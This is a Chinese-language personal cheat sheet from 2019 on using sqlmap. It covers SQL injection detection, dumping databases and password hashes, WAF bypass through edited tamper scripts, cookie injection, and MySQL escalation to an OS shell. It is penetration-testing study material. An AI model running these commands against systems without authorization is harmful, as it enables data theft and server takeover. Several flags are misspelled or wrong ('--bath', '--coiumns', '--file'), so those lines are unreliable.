sqlmap實戰-1

  • 2019 年 10 月 19 日
  • 筆記

sqlmap實戰-1

檢測和利用sql注入

python2 sqlmap.py -u "[URL_SQL注入點]" [--batch]

--batch:自動選擇sqlmap默認的選擇

尋找目標

直接連接數據庫

python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users

數據庫操作參數:

--dbs:列舉數據庫信息

--current-db:當前數據庫名

--current-user:當前數據庫用戶

--users:列舉DBMS中所有用戶

--passwords:列舉DBMA中所有賬戶和密碼

-D [databases] …:指定數據庫名,對庫進行操作

-T [tables]:指定數據表,對錶進行操作

-C [columns]:指定列名,對列進行操作

--tables:列舉數據庫表的信息

--columns:列舉數據表的列名信息

--schema:枚舉數據庫結構

--count:枚舉數據包的項目數

-D/-T/-C/--dbs/--tables/--columns/--schema/--count

聯合操作就可以實現對數據庫的具體操作

#列舉庫中的所有表:  -D [庫名] --tables  #列舉表中的字段名:  -D [庫名] -T [表名] --columns

--dump:導出數據

--start:指定開始的行

--stop:指定結束的行

# 導出當前全部的數據表數據  -D [庫名] -T [表名] -C [字段名] --count --dump  # 導出部分(範圍)數據表數據  -D [庫名] -T [表名] -C [字段名] --start {*} --stop {*} --dump

sqlmap技巧

利用注釋的方法繞過waf注入

/tamper/halfversionecdmoreckeywords.py:

return match.group().replace(word, "/*!0%s" % word)  # 修改  return match.group().replace(word,"/*!50000%s*/" % word)

/xml/queries.xml:

<cast query="CAST(%s AS CHAR)"/>  <!--修改-->  <cast query="CAST(%s, CHAR)"/>

sqlmap實施注入:

sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py    sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py

URL重寫SQL注入測試

value1為測試參數,加*符號即可,sqlmap將會測試value1位置是否可以注入

列舉並破解密碼hash

當用戶可以有權限查看用戶密碼的時候,--password會自動連接並破解hash返回結果

對目標進行爬取

--batch --crawl=3 從目標URL爬取網站

使用hex規避編碼導致丟失

sqlmap.py -u [url] --banner --hex -v 3 --parse-errors

--parse-errors:解析和顯示響應數據庫錯誤信息

模仿移動端訪問目標

sqlmap.py -u [url] --banner --mobile  

--mobile:設定一個移動端的「User-Agent」模仿手機訪問URL

智能判斷測試

sqlmap.py -u [url] --bath --smart  

--smart:快速判斷 為報錯注入點進行注入

結合Burp進行注入測試

在Burp——Options——"proxy.Requests"中保存Burp的抓包記錄

sqlmap.py -r burp***.txt  

從抓包記錄中加載HTTP請求

sqlmap.py -u [url] --data "[*……*]"  

自動填寫表單

sqlmap.py -u [url] --forms [……]  

--forms:解析和測試目標URL表單

讀取Linux的文件

sqlmap.py -u [url] --file [url]  

延時注入

sqlmap.py -u [url] --technique -T --current-user  sqlmap.py -u [url] --delay 0.5  sqlmap.py -u [url] --safe-freq # 請求兩次  

Burp抓包利用sqlmap注入

sqlmap.py -r ***.txt -p [需要注入的參數]  

-p:指定注入參數

sqlmap Cookies注入

默認情況下,sqlmap只支持get/post參數的注入,使用-level參數且數值大於等於2就會檢測cookie參數,大概大於3時檢查User-Agent和Referer

sqlmap.py -u [url] --cookie [value] --level 3  sqlmap.py -u [url] --cookie [value] --level 3 --tables  sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns  ……  

MySQL提權

連接並打開一個交互shell

sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell  

上傳lib_mysqludf_sys到plugin目錄

sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"  --file-write=  

執行shell命令

sqlmap.py -u [url] --os-cmd=[^] #執行cmd命令(Win環境)  sqlmap.py -u [url] --os-shell=[^] #建立交互式的shell